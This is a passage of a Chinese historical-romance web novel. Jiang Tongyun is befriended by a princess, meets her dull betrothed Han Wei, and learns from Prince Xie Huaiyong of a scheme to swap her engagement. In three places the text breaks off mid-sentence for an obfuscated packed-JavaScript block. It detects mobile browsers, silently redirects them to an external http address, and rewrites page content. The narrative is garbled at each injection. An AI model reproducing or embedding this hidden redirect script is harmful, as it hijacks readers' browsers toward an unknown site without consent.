姜同云忙着欣赏歌舞的时候,谢怀雵正坐在正殿后的隔间里等谢含昭。 这处隔间并不算大,原本是给帝后在宴会间隙短暂休憩用的。如今撤了软榻,换上一桌席面,就略微显得有些拥挤了。 谢怀雵稳稳地扎在自己座位上饮着热茶,好似听不见前头传来的丝竹之音,完全忘记了皇后娘娘要他趁机看看宴上姑娘的提议。 不多时,换好衣裳的谢含昭就走了进来。 “怀雵哥哥!”谢含昭一见到谢怀雵就高兴地扑了过去。提前做好准备的谢怀雵抬手一接,正好扶了小姑娘一把,顺手将她按在了椅子里。这一番动作下来,谢怀雵的身体纹丝不动,端在手里的茶水都没撒出去一丝。 谢含昭小的时候就喜欢这么玩,这会儿精准地跌坐进椅子后,她顺势往后一靠,乐得直笑。好一会后,小姑娘才止了笑:“你今天怎么来了呀!” 谢怀雵轻轻咳了两声:“皇后娘娘特意下了帖子,我岂能不来?” 听他咳嗽,谢含昭立刻紧张起来:“怀雵哥哥还没好全吗?早知道我刚刚就不那样跟你玩了!” 谢怀雵笑着揉了揉她的脑袋:“没什么大碍的。你今日难得出宫,玩得可开心?” 谢含昭仔细看了看他的面色,确认没什么大问题才放下心来。听到谢怀雵的问题,她立刻扬起嘴角来:“开心啊!我今天带着烟景去钓鱼了!” 烟景就是跟着谢含昭的绿衫女孩,宫里特意挑给她的同龄玩伴。 谢怀雵只作不知,故意问道:“那你钓上来了没有?” 小姑娘很乐意向别人炫耀自己的战果,听到谢怀雵这么问,她立刻从椅子上站了起来开始比划:“当然了!我钓了两条,一条这么大,还有一条这~么~大!” 谢怀雵捧场地鼓了鼓掌:“咱们含昭真是太厉害了!” 谢含昭得意地晃了晃脑袋。 说到钓鱼,她又想起来一件事,转头去问隔间里侍立的女官:“孟姑姑,今天来的人你都认识吗?” 孟姑姑是邓皇后身边得用的女官,因为担心谢含昭闯祸,邓皇后特意把孟姑姑留在这里看着活泼好动的小女儿。 她在邓皇后身边跟了许多年,对金陵各家勋贵都是熟悉的。这会儿听到谢含昭问起,她笑着答道:“这些小姐们不敢说,但各府的夫人们都是认得的。” “这也够了!你快来帮我认个人!”谢含昭跑到孟姑姑身边去拉她胳膊。 孟姑姑顺着谢含昭的力道跟着她到了侧面入口的珠帘处:“殿下想认谁?” 谢含昭向着大殿张望起来:“我今天遇到了一个很厉害的姐姐!但是她刚才急着走,我都忘了问她叫什么了。” 听到谢含昭提起姜同云,谢怀雵心里一动,也跟着站起身来走到珠帘前。 谢含昭运气不错选对了方向。再加上眼睛亮,她很快就在人群里找到了专心致志吃饭看表演的姜同云。 “就是那个姐姐!”她指着姜同云小声对孟姑姑道。 孟姑姑顺着谢含昭指的方向看去:“可是那位穿杏色裙衫的姑娘?” 谢含昭连连点头表示确认。 孟姑姑细看了看:“这位姑娘我不认识,不过她与义阳侯夫人同坐一席,应当是义阳侯府的千金。” 她回想片刻,确认了下来:“义阳侯府递交的名册上写了赴宴人员,李夫人带来的是姜家大姑娘,应该就是这位了。” 谢含昭若有所思:“原来姐姐姓姜啊。可我看着怎么觉得,姜姐姐跟那位李夫人长得并不相像……” 孟姑姑摇了摇头:“这我就不清楚了。义阳侯府平时也不怎么参加宫宴的。” 其实就是义阳侯不太行,在朝堂没有存在感。皇上不太想得起来这号人,皇后娘娘自然也不会关注他的夫人和孩子。 谢含昭还在疑惑呢,就听身后的谢怀雵淡淡说道:“因为姜姑娘并不是义阳侯和李夫人的女儿。她是义阳侯的侄女,已故的轻车都尉姜弘捷将军之女。” 谢含昭立刻扭过头去:“怀雵哥哥认识姜姐姐?” 谢怀雵并不打算暴露自己上个月去过杭州的事,便只摇了摇头:“自然是不认识的。” 可谢含昭却没那么好糊弄。 她转过身来,故意绕着谢怀雵转了一圈,边走还边夸张地上下打量谢怀雵。 谢怀雵挑眉,垂首看向这个从小就鬼精灵的堂妹:“怎么了?” “怎么了?你还问我怎么了?”谢含昭意味深长地摇头,“怀雵哥哥,你很不对劲!” “是吗?” “你从来都不参加金陵那些年轻小姐会去的宴会,我也没听说过你跟义阳侯府有过什么往来。”谢含昭分析得头头是道,“连孟姑姑都说不上来姜姐姐是谁的女儿,你是怎么知道的?” 谢怀雵云淡风轻地笑了:“因为姜姑娘的双亲,都是我极其敬佩之人。” 谢含昭半信半疑:“真的吗?” “自然。”谢怀雵颔首,“我说姜将军,你可能想不起来。但我一说姜姑娘的母亲,含昭你肯定也知道的。” “姜姑娘的母亲,是我大越第一位、也是唯一一位受封勋官职位的女子。” 谢含昭立刻反应过来:“上骑都尉许夫人!姜姐姐居然是许夫人的女儿?!” 谢怀雵笑着确认了谢含昭的话。 谢含昭惊得向后退了一步。 说姜弘捷的夫人,她可能想不到是谁;但一说许夫人,她立刻就想起来了。 无他,只因许夫人的事迹过于震撼人心。 十二年前,北面的晋朝举兵进犯两国相接之处的城池。今上调动兵马迎击,先义阳侯因熟悉边疆,被点为东路统帅,领兵出征。 许夫人也跟着公公和丈夫一道去了前线。 因是女眷,她被安置在后方寿州城里。 结果许夫人在城内生活时发现了一些蛛丝马迹,并依据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426647|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有限的线索抽丝剥茧,揪出城内里通外敌的守将。发现这等紧急军情后,许夫人没有打草惊蛇,反而想办法联系上了其余忠诚将领,并制定计划将叛将及其人马一网打尽。 不料刚处理完城内叛将,敌军已经带领着一队人马绕开前线交战城池,行至寿州城下。 当时城内士气极低,军士人心浮动,几乎有哗变之兆。 这个时候,又是许夫人主动站了出来,鼓励军民,带领全城百姓一起守城抗敌。 这场实力对比悬殊的攻城之战持续了整整五日,援军终于在寿州城弹尽粮绝之前赶到,逼退敌军。 但许夫人却因为不眠不休五个日夜,加上先前身中流矢负伤,在援军赶到后她心神松懈阖了眼,之后再也没有醒来。 之后不久,她的丈夫也在前线最后一场战役中领兵冲锋,斩落敌方大将后身中数箭,不幸身亡。 陛下感念他们夫妻二人壮举,下旨分别为他们追赠了勋级。 谢含昭生得晚,不曾亲历过这些事件。但因许夫人的事迹广为传颂,她几乎可以说是听着这位奇女子的故事长大的。 如今听到姜同云就是许夫人的女儿,谢含昭心里对这位姜姐姐的喜爱又多了好些:“怪不得姜姐姐钓鱼这么厉害!这就是……虎母无犬女吧!” 谢怀雵闻言失笑。 谢含昭又来回踱了两步,在想到一件事后猛然停下:“不对!姜姐姐跟我说,她现在住在升平坊里。义阳侯府好像不是在升平坊的吧?” 金陵权贵基本都集中在临近宫城的几处坊内,升平坊离宫城有些距离,谢含昭没听说过有哪家府邸被赐在那边的。 孟姑姑回想片刻,点了点头:“确实。如果我没记错的话,义阳侯府应该是在安兴坊的。” 谢含昭立刻拧起眉头:“姜姐姐为什么没有住在侯府里?是不是姜姐姐在义阳侯府里受了委屈啊?” 何止委屈啊。要是让含昭知道,她的姜姐姐之前因为侯府薄待所以搬去杭州住了七年,她还不得打上义阳侯府去替人家讨公道? 为了义阳侯府的安全,也为了不让姜同云脸上无光,谢怀雵决定暂时把那些事情都瞒下来,以免谢含昭做出什么过激举动。 谢含昭不知道谢怀雵在想什么,不过这不妨碍她已经把义阳侯府当成了坏人。 小姑娘气鼓鼓地想了好一会:“怪不得姜姐姐要我去她住的地方找她呢。” 谢怀雵略觉好奇:“你准备让姜姑娘进宫陪你玩?” “当然不是啦!”谢含昭立刻否认,“宫里规矩多,闷闷的,还有……我跟姜姐姐约了再到这里来钓鱼!” 谢怀雵心念一转,一个想法浮上心头:“这里倒是不错。不过皇后娘娘能同意让你一个人跑出来吗?” 听到这话,谢含昭泄了气:“……难说。我这次也是求了好久才让母后同意的。” 烦恼之间,小姑娘抬头看向谢怀雵,一个好主意立马闪现在她的小脑袋瓜里。 她抓住谢怀雵的衣袖晃了起来:“怀雵哥哥~” 谢怀雵挑了挑眉,后退一步夺回衣袖:“嗯?” “怀雵哥哥,你就帮帮我嘛!”谢含昭可怜巴巴地凑了上去,“你去跟母后说带我出宫玩,母后一定会同意的!” 谢怀雵装着为难犹豫的样子,逗得小姑娘使出了浑身解数,最终才“勉为其难”地点了点头:“好吧。” 12. 邀约 专心吃席的姜同云还不知道隔间里发生了什么。 她开开心心地享受着宴会,后续宫人上了一壶梅子酒,她趁李夫人忙着交际的时候端着酒杯喝了一口。 甜甜的,太好喝啦! 于是姜同云偷偷地把酒壶挪到自己面前,一杯接一杯地喝了小半壶下去。 还好她的酒量还算不错,也懂得节制。稍微感觉有些酒意上头后,姜同云就放下了酒杯,端着汤盅开始老实喝汤。 饮了一盅热汤,酒意略被压下。宫人又恰到好处地端来一盏解酒的甜饮子,姜同云也全部饮尽。 酒足饭饱,她端坐在位置上认真欣赏歌舞表演。 这场宴会持续了一个多时辰,等到皇后乏力,由身边女官宣布散宴时,已然是下午了。 送走皇后,夫人们陆续离开观澜殿。姜同云陪着李夫人在行宫门口又同人寒暄了好一会,才启程回家。 接下来几日,姜同云都窝在家里没有出门。 桃花谢尽,海棠渐盛。 转眼就到了四月中旬。 闷了十来天的姜同云终于收到了来自五公主的钓鱼邀约。 不过谢含昭没有再约姜同云去京郊行宫,反而在信件里说她托人租了一艘画舫,邀请姜同云一起坐船游湖,顺便钓鱼。 游湖好呀! 这两天天气好,吹来的风都是暖烘烘的,坐个船吹吹风钓钓鱼,别提多惬意了! 姜同云立刻就拿定了主意,给宫里来的内监塞了银子,托他转告公主自己会如期赴约。 送走传信的人,姜同云马上拿起纸笔列了个购物清单,准备带着木樨和柳四娘一起去买点东西。 方才内监还在,陶叔就憋着话没问。这会儿人走了,陶叔立刻就来问姜同云了:“姑娘,那是宫里来的人吧?” “对呀!”姜同云埋头在纸上写写画画,偶尔停笔思索自己带的行李里面有没有相应物件,“是五公主派来的。她邀我三日后去游湖钓鱼。” “五公主!”陶叔满脸讶异,“您是在上次宴会上认识的吗?” 姜同云点了点头:“她喜欢钓鱼,我教了她一些,就这样认识了。” 陶叔甚感欣慰,觉得这是自家姑娘打入金陵圈子的好机会,义阳侯府总算做了一回人事:“既是如此,姑娘可得做好准备。” 说完这话,陶叔自己先笑了。 要说别的,姑娘可能总有一些不如金陵的贵族小姐。但比钓鱼,自家姑娘是绝不可能输的! 毕竟陶叔自己就是姜同云的手下败将。 想到这里,陶叔与有荣焉地挺了挺胸膛:“姑娘要买什么只管吩咐!我叫陶振给您全部买齐!” 姜同云摇了摇头:“还是我自己去吧。饵料得我亲眼看过、亲手挑过才行。” 陶叔点头:“也是。那我让人先给您备车!” 半个时辰后,柳四娘架着一辆小车,载着姜同云主仆二人进了东市。 钓不同的鱼需要用到不同的饵料。因为对金陵水域里的鱼种不太熟悉,姜同云便打算多备几种。这就需要多跑一些不同的铺子,去买些五花八门的东西。 柳四娘载着姜同云在东市跑了几个来回,终于买齐了姜同云常用作饵料的谷物和肉类。 最后就只剩下曲酒了。 柳四娘打听了东市的几间酒铺,打算从最近的一间起依次看过去。 因为门口空间有限,为了不妨碍店家生意,姜同云便让柳四娘将车停在了附近的空旷处,自己带着木樨步行前往。 谁料刚走到门口,迎面遇见了姜向瑜和另外一位同样做文生打扮的男子。 看到姜同云,姜向瑜也很是惊喜,连忙朝她作了个揖:“大姐姐!” 姜同云也挺意外的:“你今日没有课业吗?” “今晨小考,下午就没课了。”姜向瑜笑着解释道,“明日休沐,我们同窗之间约了在城郊小聚。我和韩兄负责备酒,所以这会儿出来买酒了。” 说到这里,姜向瑜突然想起来自己还没给姜同云和身边之人做过介绍,连忙侧身:“大姐姐,这位就是颍川侯的二公子,韩纬。韩兄,这是我大姐姐。” 姜同云不由一怔:这么巧的吗?前阵子才见了他的母亲,今日又见到了他本人。 想归想,姜同云还是福身见礼:“韩公子。” 对面的韩纬也回了个礼:“姜姑娘。” 姜同云暗暗将他打量了一番。 韩纬和他的母亲并不相像。颍川侯夫人眉眼锋锐,看上去精明且富有攻击性;但这位韩公子五官圆钝,眉眼柔和,看上去就是个性情和善的人。 姜同云观察韩纬的时候,韩纬也在瞧瞧看她。 母亲前几日从行宫赴宴回来,言辞里对姜家这位大姑娘多有不满。母亲说她笨口拙舌,不懂礼仪,空长了一副好皮囊。 虽然从这位姜姑娘的相貌来看,她实在不像是母亲口中描述的那种木讷性子。但既然母亲不喜欢,韩纬也无意为了她和母亲起争执。 可惜了。 这对初次见面的未婚夫妻不约而同地在心里给出了对方一样的评价。 姜向瑜不知道他俩心里在想什么。他只觉得这是韩兄和大姐姐有缘的证明,这会见两人互相打量,心中更是高兴。 “大姐姐也来买酒?” 姜同云收回视线:“是啊。” “那我们一起吧!” 几人一道进了酒铺。 姜向瑜两人已有目标。他们这些国子监的学生大多出身权贵之家,生活饮食上多有挑剔,宴饮的时候通常只喝几种固定的酒,买起来只是费钱,却也不算麻烦。 但姜同云就不一样了。她做鱼饵有一定的要求,所以要店家拿了好些不同的酒,仔细询问、偶尔还要嗅闻比对。 姜向瑜付完钱出来,就见姜同云还在挑酒。 想到刚才韩兄和大姐姐只在门口问了个好,没有其他交流,姜向瑜就觉得自己责任在身,应该为他们两人创造点说话的机会。 可他实在不擅长找聊天的话题,杵在原地憋了好一会,才挤出一句来:“大姐姐想买什么酒啊?韩兄很会品酒的,大姐姐可以问问他。” 木樨没忍住,捂着嘴背过了身。 姜同云只觉得自己这个弟弟真是够呆。不过她知道对方是出于好心,不想伤了他的面子,就笑着转向了姜向瑜二人:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426648|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩公子博闻广识,实在令人钦佩。” 谁想韩纬这个人,居然比姜向瑜更呆。 听到姜同云的话,他立刻抬手行礼道:“贤弟谬赞了。愚兄对此道知之甚少。况且纵饮伤身,姜姑娘身为女子,更该保养自身。” 木樨笑不出来了。 姜同云略有些讶异地挑了下眉。 果然是个书呆子Pro。 但她毕竟曾是受过领导和客户双重折磨的社畜,这会儿也很快收起了不满的情绪,浅笑着附和道:“韩公子言之有理。” 挑起话题的姜向瑜尴尬地恨不得钻到地里去。 姜同云安抚地朝面红耳赤的笨蛋弟弟笑了笑:“你们还有别的事要办吧?不用在这里等我,我是坐马车来的,买完东西自己就坐车回去了。” 姜向瑜还想帮着韩纬描补两句,韩纬已经先作了个揖:“既然如此,我们就先行告辞了。” 韩纬已然辞别,姜向瑜也无可奈何。见姜同云朝自己点头示意,他也只能跟着行礼作别。 两人甫一离去,木樨就沉了脸。她小声啐了一口:“什么人嘛!” 姜同云拍了拍木樨的手:“不必放在心上。” 木樨愤愤不平:“他说的都是什么话,难道姑娘不生气吗?” 其实姜同云是有一点生气的。不过生气也没用。与其闷着气,倒不如赶紧想法子把这门婚事推了。 而且经历过今天这事以后,把木樨争策反到自己这边来应该不是什么难事了。 姜同云笑了笑:“咱们过两天要去游湖了。游湖钓鱼这么好玩,谁还要气这点事呀。” 木樨脸色稍霁。 哄好了自家小丫鬟,姜同云又转过身去,继续挑选起来。 ***** 三日后。 姜同云乘坐马车出了城,一路沿着秦淮河东行,最后在一处码头停了下来。 码头上已经泊了一艘精致的双层画舫,姜同云一下车,就见画舫二楼的窗户打开,谢含昭的脑袋探了出来:“姜姐姐,快来呀!” 候在码头附近的船工上前,自柳四娘手里接过缰绳。见有人负责照顾车马,姜同云便让柳四娘不用多管,带着她和木樨一道朝画舫走去。 姜同云刚踩着踏板登上画舫,兴奋的谢含昭也已经带着烟景跑了下来:“姜姐姐,你可算来啦!” 姜同云笑着朝她走去:“我还没来过这边,就多花了些时间。等久了吗?” “不久不久,我也才上来一会儿。”谢含昭歪头看向木樨和柳四娘,“钓具我都备好了,姐姐还带了什么来呀?” 姜同云从木樨手里接过一只提篮,打开给谢含昭看:“我带了饵料来。那边还有一个特制的网兜,可以系在船上放进水里去。这样钓上来的鱼就可以养在水里了。” 谢含昭拍了拍手:“这个好!这样我晚上就能带活鱼回去给父皇母后啦!” 说话间,正对几人头顶的窗户被推开,一个清润的男声响起:“含昭,马上要发船了,你带着姜姑娘进来坐下吧。” 姜同云抬头望去。 逆着暮春明丽烂漫的阳光,容仪俊秀的男子浅笑着朝她轻轻颔首。 13. 过往 怎么是他?! 姜同云还在惊诧,身旁的谢含昭已经拉起了姜同云:“知道啦!姜姐姐,咱们进去吧。” 姜同云来不及询问,只能跟着谢含昭进了船舱。 这艘画舫体量不小,船舱内的空间自然也很是宽敞。里面桌椅坐榻一应俱全,装饰摆设精致考究。舱内还有两名相同打扮的婢女垂首侍奉。 谢含昭拉着姜同云在桌边坐下,又指挥两名侍女帮忙存放姜同云带来的东西。 姜同云朝柳四娘略微颔首,她便跟着那两名侍女一道出去安置物品。 外头传来一声号子,紧接着船身微晃,画舫启程。 谢含昭跑到窗边,推窗向外看去。 日光正好,越过雕花窗户,能看见外头浮着粼粼波光的秦淮河水;再往远处眺望,岸边垂柳依依,花团锦簇。 可惜,晕船的木樨欣赏不了这般风景。 见自家小丫鬟的脸色又开始变得青白,姜同云无奈地说道:“你要不去外面吹吹风?” 木樨捂着嘴点了点头。 很快,船舱里就只剩下姜同云和谢含昭两个人了。 没有旁人在,姜同云心神微松,起身走到谢含昭身边:“殿下今日怎么会想到来游湖的?” 谢含昭笑着转过头来,语气自豪:“母后管得严,不让我一个人出宫。我就去求了怀雵哥哥,让他作保带我出来!怀雵哥哥觉得行宫那边冷飕飕的,所以提议带我们坐船游湖!” 怀雵哥哥。 能让五公主这么叫的人只有一个,今上的侄子,齐王谢怀雵。 当初在河里救起的倒霉蛋居然会是大越的齐王殿下?! 不对不对。听说这位齐王殿下打从三年前在战场上受过伤后,身体一直就不好,只能常年待在府里静养。那他又怎么会出现在杭州城郊的河里呢? 姜同云越想越觉得脑袋里一片混乱。 自己不会是撞破了什么惊天秘密了吧! 那今天这次游湖邀约,难道是齐王借五公主之手设下的鸿门宴? 姜同云的心直直地往下坠去。 谢含昭不知道她心中的担忧,开开心心地去牵姜同云的手:“我带姐姐上楼看看吧!” 刚一拉住姜同云的手,谢含昭就疑惑地皱起了眉:“船里冷吗?姜姐姐的手好凉啊。” 意识到自己失态,姜同云连忙解释:“刚才在外头晒了太阳,乍一进来是有些凉意。” 谢含昭被这个理由说服:“那我让人给姐姐上盏热茶!” 她刚要起身叫人,船舱内侧的隔门被打开,方才还在二层船舱的谢怀雵从门内走了出来。 “含昭,你出门前答应过皇后娘娘,会把今天的课业做完的。” 闻言,谢含昭的嘴角垮了下来:“现在就要写啊……” 谢怀雵挑眉:“不然呢?趁这会儿还没到,你先上去练字。不然等下玩起来,你肯定没心思再写了。” 谢含昭不情不愿地磨蹭了两下,最后还是在“以后出不了门”的威胁下乖乖认命。 “姜姐姐,我先去练字了。你在这里等我一会儿,我一定快快写完下来找你玩!”谢含昭拉着姜同云的袖子晃了晃,转身又对谢怀雵道,“怀雵哥哥,你帮我招待一下姜姐姐。” 姜同云多么想伸手把谢含昭拉回来:别走啊,我不敢跟你哥单独待一块! 可谢怀雵就在近旁虎视眈眈,姜同云实在不敢开口挽留,只能眼睁睁地看着谢含昭垂头丧气地进了隔门。 姜同云还在悼念她失去的护身符,谢怀雵已经悠然自得地在桌子旁坐下了:“姜姑娘不坐吗?” 姜同云警惕地退后一步:“见过齐王殿下。” 谢怀雵失笑:“姜姑娘不必如此紧张。你于我有救命之恩,在下还未曾答谢。” 真是这个倒霉蛋啊! 姜同云只觉得自己都快窒息了。 看出来姜同云的紧张防备,谢怀雵也是有些无奈。 看来这位姜姑娘是个聪明人,已经意识到自己出现在杭州的奇怪之处了。 既然如此,未免她过分忧虑,还是开门见山为好。 想到这里,谢怀雵收起笑容,表情诚挚地说道:“在下去杭州的事情,希望姜姑娘能替我保密。” 听到这话,姜同云悬着的心才稍稍回落。 对方既然愿意提出保密的要求,应该还有商谈的余地。 想到这里,姜同云连忙道:“殿下方才说笑了。我今日第一次见您,何曾有过救命之恩?” 谢怀雵忍俊不禁:“姜姑娘实在不必如此。在下并非那等恩将仇报之人。况且杭州那次,并非姜姑娘第一次帮我。” 听到这话,姜同云满脸疑惑。 谢怀雵望向她的双眼:“三年前,越、晋两国交界之处起过兵戈。晋朝边军夤夜发兵,占据了我朝边境三处城镇。在下当时就在前线,奉旨领兵应敌。” “起初战事非常顺利,晋朝人马不足,我方很快就夺回两处城镇。”谢怀雵回想起往事,神色微黯,“但行军至第三镇时,后方运送的粮草出了问题。” “我和我的部将发动过两轮进攻,眼看就要夺回失地。但粮草将尽,补给却还未到。就在我准备放弃时,附近城池筹措到了粮草,战事才能继续推进,失地也被重新夺回。” 说到这里,谢怀雵脸上露出微笑:“直到最近,我才意外得知,当初筹措到的那批粮草,是姜姑娘派人筹集,运送至边城的。” 如果不是那场宫宴导致谢怀雵再次细查姜家和姜同云,他根本不会知道当初帮到自己的就是面前这个姑娘。 听谢怀雵这么一说,姜同云想起来确实有过这么一件事。 当时杭州城里涌现出一批逃难的边民。姜同云派人询问,得知边境又起战火。一部分边民害怕被战火波及,就携家带口南下避难。 得知边境有数地粮价已然飞涨,姜同云便通过自己名下的粮铺收集了一批粮食,托了靠得住的商队走水路运送北上。 只是她不知道,当初送去稳定粮价的物资,居然会意外帮到谢怀雵。 如今听到谢怀雵提起此事,姜同云的心也算落回原地。 她开始相信谢怀雵没有恶意了。否则对方根本不用提起这桩三年前的旧事来。 姜同云总算能露出些许笑容了:“若是那件事,齐王不必谢我。我是大越子民,边境有难,我也不过是做了些力所能及之事,能帮到您也是意外,实在不值一提。” “至于杭州……”姜同云觉得这事背后肯定还有古怪,所以不想就此事改口,“殿下不曾去过杭州,对吗?” 见姜同云如此坚持,谢怀雵也不愿勉强。况且姜同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426649|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云这种口径也对自己有利,于是他便点了点头:“好吧,在下确实不曾去过。” 他伸手以示邀请:“船行晃动,姜姑娘还是坐下吧。” 姜同云想了想,还是在谢怀雵的对面坐了下来:“殿下支开五公主,只是为了谢我吗?” 谢怀雵笑了:“自然不是。今日特意约姜姑娘至此,是为了你和颍川侯二公子的婚约。” 姜同云的心又提了起来:“殿下是如何得知这个婚约的?” 颍川侯府和义阳侯府之间的这桩婚约虽然定的很早,但双方都不曾对外宣扬过。 如今谢怀雵这么直截了当地点出婚约,姜同云难免感到心惊。 谢怀雵也知道自己私下调查对方的事情做得不厚道,尤其查的还是个姑娘家,这多少是有些说不过去的。 他站起身来,态度诚恳地朝着姜同云作揖致歉:“在下并非有意探查。只是听医馆的伙计提起,说义阳侯夫妇对姑娘不好。在下想要报答姑娘,故而找人去义阳侯府调查了一下情况,顺带着知道了这桩约定。” “如果姜姑娘觉得冒犯,在下愿意赔罪。” 姜同云本来是有些火气的。 任谁被一个不熟悉的人莫名其妙地查了个底掉,心里都是不会舒服的。 但谢怀雵的态度实在是太好了,认错也非常及时。 而且……他的相貌也确实太优越了。 长得好看的人,的确是能享受到优待的。至少姜同云在面对这种级别美人,对方还这么诚恳地赔礼道歉的时候,实在是生不起来气。 莫名共情董太师的姜同云叹了口气:“好吧。殿下先说说,您想和我谈些什么?” 确认姜同云没有生气,谢怀雵才坐了回去:“在下发现,颍川侯夫人和姜姑娘的婶婶李夫人正在秘密谋划,由李夫人的女儿替换姑娘履行婚约。” 姜同云立刻想起姜向瑜曾对自己说过,颍川侯夫人到姜府拜访,还跟李夫人私下谈了许久的事情。 她感到难以置信:“殿下连这个都查出来了?” 谢怀雵表情谦虚:“这样不是什么机密之事,不过是要多费些功夫罢了。” 不是,您在谦虚什么?还有您以前到底是干什么的啊? 姜同云好不容易才压制住自己的吐槽欲望:“……那您,究竟是为什么会想着去查这些?” 堂堂一个大越王爷,去查两个内宅妇人的秘密,这人真的没有什么奇怪的癖好吗? 谢怀雵闻言,捂着嘴咳了两声。 以往他身边的人听见他咳嗽,肯定是要关心他的身体。他再稍微引导两句,就能把话题拐走了。可惜今天坐在他对面的是姜同云。 姜同云只觉得两个人不熟,关心对方身体多少有点冒昧。还有就是……好看的人果然连咳嗽都这么赏心悦目! 咳了好一会都没能把局势引入预想部分,谢怀雵只能放下手:“姜姑娘可能不清楚,四月初二那场宫宴,是皇后娘娘为了挑选齐王妃而举办的。” 他的神态过于自然,以至于姜同云一时都没反应过来:“哦哦,挑选齐王妃……” 等等,齐王妃?那不就是? 姜同云震惊地看向谢怀雵。 见姜同云愣愣地看着自己,谢怀雵笑了:“对,是为了替我挑选王妃。” 她的脸腾地红了。 14. 信物 被骗去参加了一场大型相亲宴会就算了,现在还被那个相亲对象直接挑明了。 姜同云恨不得立刻用脚趾抠破船舱,跳进水里去! 谢怀雵看着对面的姑娘从怔愣到震惊,再到满脸通红恨不得钻进地里去,脸上笑意更盛。 在姜同云羞恼到夺路而逃前,他终于开了口:“我想,姜姑娘一定是被蒙在鼓里的,对吗?” “对对对!”姜同云连忙点头,“我真的不知道那个宴会是……” 要是知道,打死她都不会去的! 谢怀雵安抚道:“我相信你。姜姑娘既有婚约在身,若非被骗,决计不会赴宴。” 姜同云抬起头来,却在对上谢怀雵带笑的双眼时又猛地把头埋了回去:要死了,能不能别看我了! 这个时候,姜同云甚至有些恨谢怀雵不是韩纬那种书呆子,这样他说不定会碍于礼法早早避退了。 她不敢去看谢怀雵,只能低着头道:“多谢殿□□谅。” 求求你了,再体谅一点,现在就让我消失在你面前吧! 谢怀雵在心里笑够了,才继续先前的话题:“我有些疑惑,为何颍川侯夫人要费心思做这种谋划。她想要改换婚约,义阳侯及李夫人应该会非常愿意。况且姜姑娘……想在姜家换个姑娘做儿媳并非难事。” 话题回到正轨,姜同云深吸几口气,努力让自己忘掉刚刚的尴尬:“确实如此。关于这门亲事,即便是姜、韩两家的亲戚都知之甚少。或许有人听闻过一些,但知道具体定了谁的人,应该非常之少。” 他们根本不必绕这么大的弯子。只要对外宣称当年定下的是姜向瑶,就能照常提亲下聘。至于姜同云和许家老爷子,他俩住在杭州,只要瞒过定亲这一阵,等前头流程走完,到时候再想反对只怕也没什么用了。 谢怀雵颔首:“所以我又让人到颍川侯府细查了查。” “颍川侯和他的夫人觉得姜姑娘背后缺少支持,对韩二公子将来的仕途没有益处,所以想要换掉姜姑娘。”说到这里,谢怀雵的笑容已经冷了下来,不过他很快就掩饰了过去,“但颍川侯府的老夫人却一直属意于姑娘你。” “颍川侯府的老夫人?” 谢怀雵笑道:“这位老夫人也是将门之后,性情刚毅果断。当年老侯爷久驻沙场,颍川侯府几乎是由她一人支撑,故而她在侯府威望极重。即便颍川侯府如今已由她的长子长媳承袭打理,但府里众人都对她极为敬重。” “若非老夫人坚持,只怕颍川侯根本就不想维持和义阳侯府的这段婚约。” 毕竟如今的义阳侯没有任何官职。这个侯府看着光鲜亮丽,实际上只是个毫无权势的空架子。 “因为老夫人要守这旧约,颍川侯夫妇不敢违抗,只能迂回地想些别的法子。”谢怀雵垂下眼帘,盖住眼里几乎要溢出的鄙夷,“所以他们决定瞒着老夫人,换掉姜姑娘。” 在他们看来,姜同云这个父母双亡的孤女已经毫无价值,而姜向瑶背后好歹还有个侯府在。况且姜向瑜才学不错,义阳侯府将来未必没有重新得到重用的希望。 虽然谢怀雵没有说出这些话,但姜同云已然从他的未尽之言里猜出了颍川侯府的心思。 姜同云笑了笑:“可以理解。” 联系谢怀雵提供的线索,姜同云已经知道他们为什么要这么迂回曲折地做这些事情了。 因为定亲信物。 两府定亲之时,曾经交换过信物。颍川侯府给出的信物,先前由姜同云的母亲保管。许夫人去世后,信物被祖父收走。直到祖父病重,因为担忧小儿子和小儿媳脑子不拎清,他便把信物偷偷交给了姜同云。 姜同云离开金陵后,义阳侯和李夫人还试图找过信物。因为遍寻不得写信询问,这才得知东西早就跟着姜同云一起去了杭州。 她此次回到金陵,也将这件信物一并带了回来,因为外祖父说过,双方定亲下聘的时候是要拿出信物为证的。 恐怕义阳侯府非要姜同云返回金陵,还有李夫人这些时日的百般隐忍,就是为了先从姜同云手里骗到信物。 想通这点,义阳侯府前后诸多行动就都有了合理的解释。 